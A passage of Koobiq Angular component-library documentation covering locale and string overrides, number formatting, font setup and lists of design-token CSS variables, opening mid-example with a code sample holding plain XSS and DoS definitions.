            content: `<?xml version="1.0" encoding="UTF-8" ?>\n<vulnerabilities>\n\t<vulnerability>\n\t\t<name>Cross-site scripting</name>\n\t\t<abbreviation>XSS</abbreviation>\n\t\t<description>Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. During the second half of 2007, XSSed documented 11,253 site-specific cross-site vulnerabilities, compared to 2,134 "traditional" vulnerabilities documented by Symantec. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.</description>\n\t</vulnerability>\n\t<vulnerability>\n\t\t<name>Denial-of-service attack</name>\n\t\t<abbreviation>DoS</abbreviation>\n\t\t<description>In computing, a denial-of-service attack (DoS attack) is a cyber-attack in which the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to a network. Denial of service is typically accomplished by flooding the targeted machine or resource with superfluous requests in an attempt to overload systems and prevent some or all legitimate requests from being fulfilled. The range of attacks varies widely, spanning from inundating a server with millions of requests to slow its performance, overwhelming a server with a substantial amount of invalid data, to submitting requests with an illegitimate IP address.</description>\n\t</vulnerability>\n<vulnerabilities>`,
            language: 'xml',
            link: 'https://github.com/koobiq/angular-components'
        }
    ];
}
```

Each helper ships from its own component's package. The exception is `kbqSelectLocaleConfigurationProvider`,
which ships from `@koobiq/components/core`: the `select` section is rendered by four packages that do not
depend on one another — `kbq-select`, `kbq-tree-select`, `kbq-tree-selection` and `kbq-list-selection`.

An override is applied on top of whatever is active — the strings of the active locale when the application
provides a service, the token's defaults otherwise. So the keys it names stay pinned across a runtime
`setLocale()`, while every key it leaves out follows the locale. Override a whole section to stop it
following the locale entirely; register your own locale (see below) to make the override switch along with
the others.

### Overriding the strings of one instance

A provider can only be attached to an injector, so scoping one to a single component means owning a
component boundary. Every localized component also takes its strings as a template binding:

```html
<kbq-select [localeOverrides]="{ select: { selectAll: 'Select everything' } }" />
```

The value is keyed by locale section — the same shape `addLocale()` and `KBQ_LOCALE_DATA` accept — so one
binding can also cover the accessible names the component renders through its own children:

```html
<kbq-select
    [localeOverrides]="{
        select: { selectAll: 'Select everything' },
        a11y: { clear: 'Clear the selection' }
    }"
/>
```

**Example: Select locale configuration** (`select-locale-configuration`)

```ts select-locale-configuration-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-locale-configuration-example',
    imports: [KbqFormFieldModule, KbqSelectModule],
    template: `
        <kbq-form-field>
            <kbq-label>Default strings</kbq-label>
            <kbq-select multiple selectAll placeholder="Placeholder" [value]="selected">
                @for (option of options; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>

        <kbq-form-field>
            <kbq-label>Overridden for this instance only</kbq-label>
            <!-- Keyed by locale section, so one binding also reaches the accessible name of the cleaner
                 projected into the select. Every string it does not mention keeps following the locale. -->
            <kbq-select
                multiple
                selectAll
                placeholder="Placeholder"
                [value]="selected"
                [localeOverrides]="{
                    select: { selectAll: 'Take everything' },
                    a11y: { clear: 'Drop the selection' }
                }"
            >
                <kbq-cleaner />
                @for (option of options; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-l);
            padding: var(--kbq-size-l);
        }

        .kbq-form-field-type-select {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectLocaleConfigurationExample {
    readonly options = Array.from({ length: 4 }).map((_, i) => `Option ${i + 1}`);
    readonly selected = [this.options[0]];
}
```

To scope an override to a whole region rather than one component, put `KbqLocaleOverridesDirective` on any
element of the application. Everything rendered inside — including a panel that opens in the overlay
container — resolves against that element:

```ts
import { KbqLocaleOverridesDirective } from '@koobiq/components/core';
```

```html
<div [kbqLocaleOverrides]="{ a11y: { close: 'Dismiss' } }">
    <kbq-code-block [files]="files" />
    <kbq-filter-bar [filter]="filter" />
</div>
```

The two names are not interchangeable. `[localeOverrides]` is the input a Koobiq component declares;
`[kbqLocaleOverrides]` is the directive's own selector, for the application's elements. Writing the selector
on a component that already carries the directive matches it twice on one element, which Angular rejects
with `NG0309`.

Sources are applied from the most general to the most local:

1. the configuration token's defaults;
2. the active locale;
3. `kbq<Component>LocaleConfigurationProvider()`, outermost injector first;
4. `KbqLocaleOverridesDirective`, outermost element first;
5. the component's own `[localeOverrides]`.

Steps 3 to 5 only override the keys they mention. Step 2 is the exception: the active locale replaces the
token's defaults outright rather than merging over them, so a value provided for a configuration token is
dropped as soon as a locale service exists. Override the section instead of providing the token.

A pipe is not an element, so `kbqNumber`, `kbqRoundNumber` and `kbqDataSize` have no `[localeOverrides]` of
their own. A carrier on an ancestor does reach them: a pipe resolves its section from the same injector any
other reader would.

### Registering your own locale

`addLocale()` accepts partial data — every section, and every key within a section, is optional. Whatever is
left out is completed from the shipped locale of the same id, or from `KBQ_DEFAULT_LOCALE_ID` when the id is
new. `getParams()` therefore always returns a complete section, whatever was registered:

```ts
localeService.addLocale('en-GB', {
    select: { selectAll: 'Select everything' },
    a11y: { close: 'Dismiss' }
});
```

The parameter is typed as `KbqPartialLocaleData`, so a misspelled section or key is a compile error rather
than a string that silently never appears.

The same data can be provided up front through `KBQ_LOCALE_DATA`. The token is read once, by the
`KbqLocaleService` constructor, so its provider belongs in the same `providers` array as the service:

```ts
const localeData = {
    'en-GB': { select: { selectAll: 'Select everything' } }
} satisfies KbqLocaleDataInput;

providers: [{ provide: KBQ_LOCALE_DATA, useValue: localeData }, kbqLocaleServiceProvider()];
```

The `satisfies` is load-bearing: `useValue` is declared as `any`, and without it the same typo goes through
silently.

A locale added this way is registered, but it is not added to `items`, which is the list a locale picker
reads. Spell `items` out in full, shipped locales included, if the new locale has to be selectable.

### Reading a section yourself

```ts
const { selectAll } = localeService.getParams('select'); // KbqSelectLocaleConfiguration
const select = localeService.params('select'); // Signal<KbqSelectLocaleConfiguration>
```

The section name is checked against `KbqLocaleSection`, and the return type follows from it.

Both of those read the locale alone. A component that should honour the overrides above as well — the
provider helpers and `[localeOverrides]` — carries the directive and reads through it:

```ts
import { inject } from '@angular/core';
import { KBQ_SELECT_LOCALE_CONFIGURATION, KbqLocaleOverridesDirective } from '@koobiq/components/core';

@Component({
    selector: 'my-widget',
    hostDirectives: [
        { directive: KbqLocaleOverridesDirective, inputs: ['kbqLocaleOverrides: localeOverrides'] }
    ]
})
export class MyWidget {
    protected readonly localeConfiguration = inject(KbqLocaleOverridesDirective, { self: true }).read(
        'select',
        KBQ_SELECT_LOCALE_CONFIGURATION
    );
}
```

`{ self: true }` is required here: with `{ host: true }` Angular walks up to the enclosing component's host
element and returns **its** carrier, so the component reads someone else's overrides instead of its own. The
`hostDirectives` entry has to be spelled out in every component — extracted into a const it fails with
`NG1010` when used from another entry point.

Name the field `localeConfiguration` — the library-wide name for the resolved strings a component reads,
kept apart from `[localeOverrides]`, which writes a partial. A component that reads a second section
qualifies it, the way `a11yLocaleConfiguration` does.

`read()` returns a signal, so `setLocale()` reaches the template on its own, and it merges every source in
the order listed above. Reading through the carrier is what makes `[localeOverrides]` work on the component:
the two cannot come apart. Where there is no element to carry the directive — in a pipe, or in content
created programmatically — `kbqInjectLocaleConfiguration(section, token)` resolves the same sources from the
injector instead.

### Dates and numbers

Date adapters and the number pipes follow the same service, but they need their own providers.
`KbqLocaleServiceModule` — pulled in by the date adapter modules — provides it itself.

**Example: Number-formatter forced locale** (`number-formatter-locale`)

```ts number-formatter-locale-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqFormattersModule } from '@koobiq/components/core';
import { KbqTableModule } from '@koobiq/components/table';

@Component({
    selector: 'number-formatter-locale-example',
    imports: [KbqFormattersModule, KbqTableModule],
    template: `
        <table kbq-table disableHover>
            <thead>
                <tr>
                    <th>Locale</th>
                    <th>kbqNumber</th>
                    <th>kbqRoundNumber</th>
                </tr>
            </thead>
            <tbody>
                @for (locale of locales; track locale) {
                    <tr>
                        <td>{{ locale }}</td>
                        <td>{{ value | kbqNumber: '' : locale }}</td>
                        <td>{{ value | kbqRoundNumber: locale }}</td>
                    </tr>
                }
            </tbody>
        </table>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NumberFormatterLocaleExample {
    protected readonly value = 1234567.89;
    protected readonly locales = ['ru-RU', 'en-US', 'es-LA', 'pt-BR'];
}
```

To scope a locale to a subtree that contains dates, provide the adapter and the formatter in the `providers`
of the same component as `kbqLocaleIDProvider`. Importing the module will not do: `imports: [KbqLuxonDateModule]`
puts the adapter in the environment injector, where it resolves the root locale service, and month names
stay in the language of the whole application rather than that of the subtree.

## Typography

- Page: https://koobiq.io/en/main/typography/overview

Connecting fonts, which sources fit, the text classes and replacing the fonts.

### Connecting fonts

Koobiq uses the [Inter](https://github.com/rsms/inter) and [JetBrains Mono](https://github.com/JetBrains/JetBrainsMono) fonts by default.

| Font           | Weights                                  |
| -------------- | ---------------------------------------- |
| Inter          | 400, 500, 600, 700; italic — 400 and 600 |
| JetBrains Mono | 400, 600, 700                            |

Fonts come from npm packages or from files the application hosts itself. Google Fonts does not fit: it serves the fonts without some of the symbols, and Inter also without the OpenType features the tokens enable — the slashed zero, for example, does not appear.

#### Packages

Both fonts are installed from npm: [inter-ui](https://www.npmjs.com/package/inter-ui) and [@fontsource/jetbrains-mono](https://www.npmjs.com/package/@fontsource/jetbrains-mono).

```bash
npm install inter-ui @fontsource/jetbrains-mono
```

From **inter-ui**, `inter.css` is the one that fits: it has the whole font — Cyrillic, the special symbols and the OpenType features. `inter-latin.css` has neither Cyrillic nor some of the symbols, and `inter-variable.css` declares the `InterVariable` family, which the tokens do not name.

**@fontsource/jetbrains-mono** is built from the Google Fonts files and has no box-drawing characters or arrows (`├ ─ →`): the browser takes them from the next font of `--kbq-font-family-mono`. If the interface shows them, JetBrains Mono is self-hosted.

The stylesheets go to the `styles` array of `angular.json`:

```json
"styles": [
  "node_modules/inter-ui/inter.css",
  "node_modules/@fontsource/jetbrains-mono/400.css",
  "node_modules/@fontsource/jetbrains-mono/600.css",
  "node_modules/@fontsource/jetbrains-mono/700.css",
  "src/styles.css"
]
```

#### Self-hosting

Inter is downloaded [from rsms.me](https://rsms.me/inter/download/): the `web` folder of the archive holds the files and a ready-made `inter.css`. The folder is copied into the project, for example to `src/fonts/inter`.

JetBrains Mono is downloaded [from the font release](https://github.com/JetBrains/JetBrainsMono/releases/latest): the `fonts/webfonts` folder of the archive has the files but no stylesheet. The folder is copied into the project, for example to `src/fonts/jetbrains-mono`, and `jetbrains-mono.css` next to the files is written by hand — one `@font-face` rule per weight, with the family name the tokens use:

```css
@font-face {
    font-family: 'JetBrains Mono';
    font-style: normal;
    font-weight: 400;
    font-display: swap;
    src: url('JetBrainsMono-Regular.woff2') format('woff2');
}
```

The 600 and 700 weights take `JetBrainsMono-SemiBold.woff2` and `JetBrainsMono-Bold.woff2`. Both stylesheets go to `styles`:

```json
"styles": [
  "src/fonts/inter/inter.css",
  "src/fonts/jetbrains-mono/jetbrains-mono.css",
  "src/styles.css"
]
```

#### Checking the files

Inter and JetBrains Mono from any other source — a package, a build or a CDN — are checked before connecting: the files must contain the characters the interface shows, and Inter also the OpenType features the tokens enable: `calt`, `case`, `kern`, `liga`, `ss01`, `ss04`, `tnum` and `zero`. A subset may lack both, depending on how it was built. The **unicode-range** descriptor only tells the browser which characters to request the file for, not which characters the file contains.

### Text styles

Text is styled with the ready-made classes, such as `kbq-headline` and `kbq-text-normal`; every class is listed [in the design tokens](https://koobiq.io/en/main/design-tokens.md). A class sets the family, size, line height, letter spacing, weight, italic, text transform and OpenType features from the variables of its level, such as `--kbq-typography-text-normal-font-size`. The variables are for adjusting a single property, not for assembling a text style of your own.

The classes come [with the prebuilt theme](https://koobiq.io/en/main/theming.md); a theme built from the SCSS mixins adds them with `koobiq-typography()`.

```html
<h2 class="kbq-headline">Heading</h2>
<p class="kbq-text-normal">Interface text</p>
```

### Changing the fonts

The families are set by three global variables: `--kbq-font-family-base` for interface text, `--kbq-font-family-accent` for headings and display styles, `--kbq-font-family-mono` for code. Overriding them changes the fonts across the interface. The override is declared after the token stylesheets — for example in `src/styles.css`, which comes after them in `styles` — otherwise the token values apply.

```css
:root {
    --kbq-font-family-base: 'MySans', sans-serif;
    --kbq-font-family-accent: 'MyDisplay', 'MySans', sans-serif;
    --kbq-font-family-mono: 'MyMono', monospace;
}
```

The OpenType features of the text styles stay on with another font. `ss01` and `ss04` are Inter's stylistic sets and switch on other glyphs in another font, so they are checked, or the `--kbq-typography-*-font-feature-settings` variables are overridden as well.

## Design tokens

- Page: https://koobiq.io/en/main/design-tokens/colors

The global design tokens of Koobiq: CSS custom properties that the light and the dark theme define. Style with them instead of hard-coded values, for example `color: var(--kbq-foreground-contrast)`. Colors lists the themed colors; the two palettes list the color scales behind them.

### Colors

#### Background

`--kbq-background-bg`, `--kbq-background-bg-secondary`, `--kbq-background-bg-tertiary`, `--kbq-background-night`, `--kbq-background-card`, `--kbq-background-theme`, `--kbq-background-theme-fade`, `--kbq-background-theme-less`, `--kbq-background-contrast`, `--kbq-background-contrast-fade`, `--kbq-background-contrast-less`, `--kbq-background-error`, `--kbq-background-error-fade`, `--kbq-background-error-less`, `--kbq-background-success`, `--kbq-background-success-fade`, `--kbq-background-success-less`, `--kbq-background-warning`, `--kbq-background-warning-fade`, `--kbq-background-warning-less`, `--kbq-background-transparent`, `--kbq-background-overlay`, `--kbq-background-overlay-inverse`, `--kbq-background-overlay-base-theme`, `--kbq-background-overlay-base-error`, `--kbq-background-highlight`

#### Foreground

`--kbq-foreground-contrast`, `--kbq-foreground-contrast-secondary`, `--kbq-foreground-contrast-tertiary`, `--kbq-foreground-theme`, `--kbq-foreground-theme-secondary`, `--kbq-foreground-error`, `--kbq-foreground-error-secondary`, `--kbq-foreground-error-tertiary`, `--kbq-foreground-success`, `--kbq-foreground-success-secondary`, `--kbq-foreground-success-tertiary`, `--kbq-foreground-warning`, `--kbq-foreground-warning-secondary`, `--kbq-foreground-visited`, `--kbq-foreground-on-contrast`, `--kbq-foreground-on-contrast-secondary`, `--kbq-foreground-white`, `--kbq-foreground-white-secondary`, `--kbq-foreground-white-tertiary`, `--kbq-foreground-night`, `--kbq-foreground-night-secondary`, `--kbq-foreground-night-tertiary`

#### Icon

`--kbq-icon-contrast`, `--kbq-icon-contrast-fade`, `--kbq-icon-theme`, `--kbq-icon-theme-fade`, `--kbq-icon-error`, `--kbq-icon-error-fade`, `--kbq-icon-success`, `--kbq-icon-success-fade`, `--kbq-icon-warning`, `--kbq-icon-warning-fade`, `--kbq-icon-visited`, `--kbq-icon-on-contrast`, `--kbq-icon-on-contrast-fade`, `--kbq-icon-white`, `--kbq-icon-white-fade`, `--kbq-icon-night`, `--kbq-icon-night-fade`

#### Line

`--kbq-line-contrast`, `--kbq-line-contrast-fade`, `--kbq-line-contrast-less`, `--kbq-line-theme`, `--kbq-line-theme-fade`, `--kbq-line-theme-less`, `--kbq-line-error`, `--kbq-line-error-fade`, `--kbq-line-success`, `--kbq-line-success-fade`, `--kbq-line-warning`, `--kbq-line-warning-fade`, `--kbq-line-visited`, `--kbq-line-visited-fade`, `--kbq-line-on-contrast`, `--kbq-line-on-contrast-fade`, `--kbq-line-on-contrast-less`, `--kbq-line-white`, `--kbq-line-white-fade`, `--kbq-line-white-less`, `--kbq-line-night`, `--kbq-line-night-fade`, `--kbq-line-night-less`

#### States

##### Background

`--kbq-states-background-disabled`, `--kbq-states-background-contrast-hover`, `--kbq-states-background-contrast-active`, `--kbq-states-background-contrast-fade-hover`, `--kbq-states-background-contrast-fade-active`, `--kbq-states-background-contrast-less-hover`, `--kbq-states-background-contrast-less-active`, `--kbq-states-background-transparent-hover`, `--kbq-states-background-transparent-active`, `--kbq-states-background-theme-hover`, `--kbq-states-background-theme-active`, `--kbq-states-background-theme-fade-hover`, `--kbq-states-background-theme-fade-active`, `--kbq-states-background-theme-less-hover`, `--kbq-states-background-theme-less-active`, `--kbq-states-background-error-hover`, `--kbq-states-background-error-active`, `--kbq-states-background-error-fade-hover`, `--kbq-states-background-error-fade-active`, `--kbq-states-background-error-less-hover`, `--kbq-states-background-error-less-active`, `--kbq-states-background-warning-hover`, `--kbq-states-background-warning-active`, `--kbq-states-background-warning-fade-hover`, `--kbq-states-background-warning-fade-active`, `--kbq-states-background-warning-less-hover`, `--kbq-states-background-warning-less-active`, `--kbq-states-background-success-hover`, `--kbq-states-background-success-active`, `--kbq-states-background-success-fade-hover`, `--kbq-states-background-success-fade-active`, `--kbq-states-background-success-less-hover`, `--kbq-states-background-success-less-active`, `--kbq-states-background-highlight-current`

##### Foreground

`--kbq-states-foreground-disabled`, `--kbq-states-foreground-theme-hover`, `--kbq-states-foreground-theme-active`, `--kbq-states-foreground-visited-hover`, `--kbq-states-foreground-visited-active`

##### Icon

`--kbq-states-icon-disabled`, `--kbq-states-icon-contrast-hover`, `--kbq-states-icon-contrast-active`, `--kbq-states-icon-contrast-fade-hover`, `--kbq-states-icon-contrast-fade-active`, `--kbq-states-icon-theme-hover`, `--kbq-states-icon-theme-active`, `--kbq-states-icon-error-hover`, `--kbq-states-icon-error-active`, `--kbq-states-icon-success-hover`, `--kbq-states-icon-success-active`, `--kbq-states-icon-warning-hover`, `--kbq-states-icon-warning-active`, `--kbq-states-icon-visited-hover`, `--kbq-states-icon-visited-active`

##### Line

`--kbq-states-line-disabled`, `--kbq-states-line-focus`, `--kbq-states-line-focus-theme`, `--kbq-states-line-focus-error`

#### Shadow

`--kbq-shadow-outline`, `--kbq-shadow-key`, `--kbq-shadow-ambient`

#### Opacity

`--kbq-opacity-disabled`, `--kbq-opacity-overlay`

### Typography

CSS classes of the text styles, for example `<p class="kbq-text-normal">`:

`kbq-display-big`, `kbq-display-big-strong`, `kbq-display-normal`, `kbq-display-normal-strong`, `kbq-display-compact`, `kbq-display-compact-strong`, `kbq-headline`, `kbq-title`, `kbq-subheading`, `kbq-navbar-title`, `kbq-text-big`, `kbq-text-big-medium`, `kbq-text-big-strong`, `kbq-caps-big`, `kbq-caps-big-strong`, `kbq-mono-big`, `kbq-mono-big-strong`, `kbq-tabular-big`, `kbq-tabular-big-strong`, `kbq-italic-big`, `kbq-italic-big-strong`, `kbq-text-normal`, `kbq-text-normal-medium`, `kbq-text-normal-strong`, `kbq-caps-normal`, `kbq-caps-normal-strong`, `kbq-mono-normal`, `kbq-mono-normal-medium`, `kbq-mono-normal-strong`, `kbq-mono-codeblock`, `kbq-tabular-normal`, `kbq-tabular-normal-strong`, `kbq-italic-normal`, `kbq-italic-normal-strong`, `kbq-text-compact`, `kbq-text-compact-medium`, `kbq-text-compact-strong`, `kbq-caps-compact`, `kbq-caps-compact-strong`, `kbq-mono-compact`, `kbq-mono-compact-strong`, `kbq-tabular-compact`, `kbq-tabular-compact-strong`, `kbq-italic-compact`, `kbq-italic-compact-strong`

### Shadows

`--kbq-shadow-overflow-compact-top`, `--kbq-shadow-overflow-compact-right`, `--kbq-shadow-overflow-compact-bottom`, `--kbq-shadow-overflow-compact-left`, `--kbq-shadow-overflow-normal-top`, `--kbq-shadow-overflow-normal-right`, `--kbq-shadow-overflow-normal-left`, `--kbq-shadow-overflow-normal-bottom`, `--kbq-shadow-card`, `--kbq-shadow-popup`, `--kbq-shadow-overlay`

### Border radius

`--kbq-size-border-radius`

### Sizes

`--kbq-size-3xs`, `--kbq-size-xxs`, `--kbq-size-xs`, `--kbq-size-s`, `--kbq-size-m`, `--kbq-size-l`, `--kbq-size-xl`, `--kbq-size-xxl`, `--kbq-size-3xl`, `--kbq-size-4xl`, `--kbq-size-5xl`, `--kbq-size-6xl`, `--kbq-size-7xl`, `--kbq-size-border-width`

### Engineer palette

#### Blue

`--kbq-plt-blue-1`, `--kbq-plt-blue-2`, `--kbq-plt-blue-3`, `--kbq-plt-blue-4`, `--kbq-plt-blue-5`, `--kbq-plt-blue-6`, `--kbq-plt-blue-7`, `--kbq-plt-blue-8`, `--kbq-plt-blue-9`, `--kbq-plt-blue-10`, `--kbq-plt-blue-11`, `--kbq-plt-blue-12`, `--kbq-plt-blue-13`, `--kbq-plt-blue-14`, `--kbq-plt-blue-15`, `--kbq-plt-blue-16`, `--kbq-plt-blue-17`, `--kbq-plt-blue-18`, `--kbq-plt-blue-19`, `--kbq-plt-blue-20`

#### Slate

`--kbq-plt-slate-1`, `--kbq-plt-slate-2`, `--kbq-plt-slate-3`, `--kbq-plt-slate-4`, `--kbq-plt-slate-5`, `--kbq-plt-slate-6`, `--kbq-plt-slate-7`, `--kbq-plt-slate-8`, `--kbq-plt-slate-9`, `--kbq-plt-slate-10`, `--kbq-plt-slate-11`, `--kbq-plt-slate-12`, `--kbq-plt-slate-13`, `--kbq-plt-slate-14`, `--kbq-plt-slate-15`, `--kbq-plt-slate-16`, `--kbq-plt-slate-17`, `--kbq-plt-slate-18`, `--kbq-plt-slate-19`, `--kbq-plt-slate-20`

#### Red

`--kbq-plt-red-1`, `--kbq-plt-red-2`, `--kbq-plt-red-3`, `--kbq-plt-red-4`, `--kbq-plt-red-5`, `--kbq-plt-red-6`, `--kbq-plt-red-7`, `--kbq-plt-red-8`, `--kbq-plt-red-9`, `--kbq-plt-red-10`, `--kbq-plt-red-11`, `--kbq-plt-red-12`, `--kbq-plt-red-13`, `--kbq-plt-red-14`, `--kbq-plt-red-15`, `--kbq-plt-red-16`, `--kbq-plt-red-17`, `--kbq-plt-red-18`, `--kbq-plt-red-19`, `--kbq-plt-red-20`

#### Orange

`--kbq-plt-orange-1`, `--kbq-plt-orange-2`, `--kbq-plt-orange-3`, `--kbq-plt-orange-4`, `--kbq-plt-orange-5`, `--kbq-plt-orange-6`, `--kbq-plt-orange-7`, `--kbq-plt-orange-8`, `--kbq-plt-orange-9`, `--kbq-plt-orange-10`, `--kbq-plt-orange-11`, `--kbq-plt-orange-12`, `--kbq-plt-orange-13`, `--kbq-plt-orange-14`, `--kbq-plt-orange-15`, `--kbq-plt-orange-16`, `--kbq-plt-orange-17`, `--kbq-plt-orange-18`, `--kbq-plt-orange-19`, `--kbq-plt-orange-20`

#### Yellow

`--kbq-plt-yellow-1`, `--kbq-plt-yellow-2`, `--kbq-plt-yellow-3`, `--kbq-plt-yellow-4`, `--kbq-plt-yellow-5`, `--kbq-plt-yellow-6`, `--kbq-plt-yellow-7`, `--kbq-plt-yellow-8`, `--kbq-plt-yellow-9`, `--kbq-plt-yellow-10`, `--kbq-plt-yellow-11`, `--kbq-plt-yellow-12`, `--kbq-plt-yellow-13`, `--kbq-plt-yellow-14`, `--kbq-plt-yellow-15`, `--kbq-plt-yellow-16`, `--kbq-plt-yellow-17`, `--kbq-plt-yellow-18`, `--kbq-plt-yellow-19`, `--kbq-plt-yellow-20`

#### Green

`--kbq-plt-green-1`, `--kbq-plt-green-2`, `--kbq-plt-green-3`, `--kbq-plt-green-4`, `--kbq-plt-green-5`, `--kbq-plt-green-6`, `--kbq-plt-green-7`, `--kbq-plt-green-8`, `--kbq-plt-green-9`, `--kbq-plt-green-10`, `--kbq-plt-green-11`, `--kbq-plt-green-12`, `--kbq-plt-green-13`, `--kbq-plt-green-14`, `--kbq-plt-green-15`, `--kbq-plt-green-16`, `--kbq-plt-green-17`, `--kbq-plt-green-18`, `--kbq-plt-green-19`, `--kbq-plt-green-20`

#### Teal

`--kbq-plt-teal-1`, `--kbq-plt-teal-2`, `--kbq-plt-teal-3`, `--kbq-plt-teal-4`, `--kbq-plt-teal-5`, `--kbq-plt-teal-6`, `--kbq-plt-teal-7`, `--kbq-plt-teal-8`, `--kbq-plt-teal-9`, `--kbq-plt-teal-10`, `--kbq-plt-teal-11`, `--kbq-plt-teal-12`, `--kbq-plt-teal-13`, `--kbq-plt-teal-14`, `--kbq-plt-teal-15`, `--kbq-plt-teal-16`, `--kbq-plt-teal-17`, `--kbq-plt-teal-18`, `--kbq-plt-teal-19`, `--kbq-plt-teal-20`

#### Purple

`--kbq-plt-purple-1`, `--kbq-plt-purple-2`, `--kbq-plt-purple-3`, `--kbq-plt-purple-4`, `--kbq-plt-purple-5`, `--kbq-plt-purple-6`, `--kbq-plt-purple-7`, `--kbq-plt-purple-8`, `--kbq-plt-purple-9`, `--kbq-plt-purple-10`, `--kbq-plt-purple-11`, `--kbq-plt-purple-12`, `--kbq-plt-purple-13`, `--kbq-plt-purple-14`, `--kbq-plt-purple-15`, `--kbq-plt-purple-16`, `--kbq-plt-purple-17`, `--kbq-plt-purple-18`, `--kbq-plt-purple-19`, `--kbq-plt-purple-20`

#### DarkBlue

`--kbq-plt-dark-blue-1`, `--kbq-plt-dark-blue-2`, `--kbq-plt-dark-blue-3`, `--kbq-plt-dark-blue-4`, `--kbq-plt-dark-blue-5`, `--kbq-plt-dark-blue-6`, `--kbq-plt-dark-blue-7`, `--kbq-plt-dark-blue-8`, `--kbq-plt-dark-blue-9`, `--kbq-plt-dark-blue-10`, `--kbq-plt-dark-blue-11`, `--kbq-plt-dark-blue-12`, `--kbq-plt-dark-blue-13`, `--kbq-plt-dark-blue-14`, `--kbq-plt-dark-blue-15`, `--kbq-plt-dark-blue-16`, `--kbq-plt-dark-blue-17`, `--kbq-plt-dark-blue-18`, `--kbq-plt-dark-blue-19`, `--kbq-plt-dark-blue-20`

#### DarkSlate

`--kbq-plt-dark-slate-1`, `--kbq-plt-dark-slate-2`, `--kbq-plt-dark-slate-3`, `--kbq-plt-dark-slate-4`, `--kbq-plt-dark-slate-5`, `--kbq-plt-dark-slate-6`, `--kbq-plt-dark-slate-7`, `--kbq-plt-dark-slate-8`, `--kbq-plt-dark-slate-9`, `--kbq-plt-dark-slate-10`, `--kbq-plt-dark-slate-11`, `--kbq-plt-dark-slate-12`, `--kbq-plt-dark-slate-13`, `--kbq-plt-dark-slate-14`, `--kbq-plt-dark-slate-15`, `--kbq-plt-dark-slate-16`, `--kbq-plt-dark-slate-17`, `--kbq-plt-dark-slate-18`, `--kbq-plt-dark-slate-19`, `--kbq-plt-dark-slate-20`

#### DarkRed

`--kbq-plt-dark-red-1`, `--kbq-plt-dark-red-2`, `--kbq-plt-dark-red-3`, `--kbq-plt-dark-red-4`, `--kbq-plt-dark-red-5`, `--kbq-plt-dark-red-6`, `--kbq-plt-dark-red-7`, `--kbq-plt-dark-red-8`, `--kbq-plt-dark-red-9`, `--kbq-plt-dark-red-10`, `--kbq-plt-dark-red-11`, `--kbq-plt-dark-red-12`, `--kbq-plt-dark-red-13`, `--kbq-plt-dark-red-14`, `--kbq-plt-dark-red-15`, `--kbq-plt-dark-red-16`, `--kbq-plt-dark-red-17`, `--kbq-plt-dark-red-18`, `--kbq-plt-dark-red-19`, `--kbq-plt-dark-red-20`

#### DarkOrange

`--kbq-plt-dark-orange-1`, `--kbq-plt-dark-orange-2`, `--kbq-plt-dark-orange-3`, `--kbq-plt-dark-orange-4`, `--kbq-plt-dark-orange-5`, `--kbq-plt-dark-orange-6`, `--kbq-plt-dark-orange-7`, `--kbq-plt-dark-orange-8`, `--kbq-plt-dark-orange-9`, `--kbq-plt-dark-orange-10`, `--kbq-plt-dark-orange-11`, `--kbq-plt-dark-orange-12`, `--kbq-plt-dark-orange-13`, `--kbq-plt-dark-orange-14`, `--kbq-plt-dark-orange-15`, `--kbq-plt-dark-orange-16`, `--kbq-plt-dark-orange-17`, `--kbq-plt-dark-orange-18`, `--kbq-plt-dark-orange-19`, `--kbq-plt-dark-orange-20`

#### DarkYellow

`--kbq-plt-dark-yellow-1`, `--kbq-plt-dark-yellow-2`, `--kbq-plt-dark-yellow-3`, `--kbq-plt-dark-yellow-4`, `--kbq-plt-dark-yellow-5`, `--kbq-plt-dark-yellow-6`, `--kbq-plt-dark-yellow-7`, `--kbq-plt-dark-yellow-8`, `--kbq-plt-dark-yellow-9`, `--kbq-plt-dark-yellow-10`, `--kbq-plt-dark-yellow-11`, `--kbq-plt-dark-yellow-12`, `--kbq-plt-dark-yellow-13`, `--kbq-plt-dark-yellow-14`, `--kbq-plt-dark-yellow-15`, `--kbq-plt-dark-yellow-16`, `--kbq-plt-dark-yellow-17`, `--kbq-plt-dark-yellow-18`, `--kbq-plt-dark-yellow-19`, `--kbq-plt-dark-yellow-20`

#### DarkGreen

`--kbq-plt-dark-green-1`, `--kbq-plt-dark-green-2`, `--kbq-plt-dark-green-3`, `--kbq-plt-dark-green-4`, `--kbq-plt-dark-green-5`, `--kbq-plt-dark-green-6`, `--kbq-plt-dark-green-7`, `--kbq-plt-dark-green-8`, `--kbq-plt-dark-green-9`, `--kbq-plt-dark-green-10`, `--kbq-plt-dark-green-11`, `--kbq-plt-dark-green-12`, `--kbq-plt-dark-green-13`, `--kbq-plt-dark-green-14`, `--kbq-plt-dark-green-15`, `--kbq-plt-dark-green-16`, `--kbq-plt-dark-green-17`, `--kbq-plt-dark-green-18`, `--kbq-plt-dark-green-19`, `--kbq-plt-dark-green-20`

#### DarkTeal

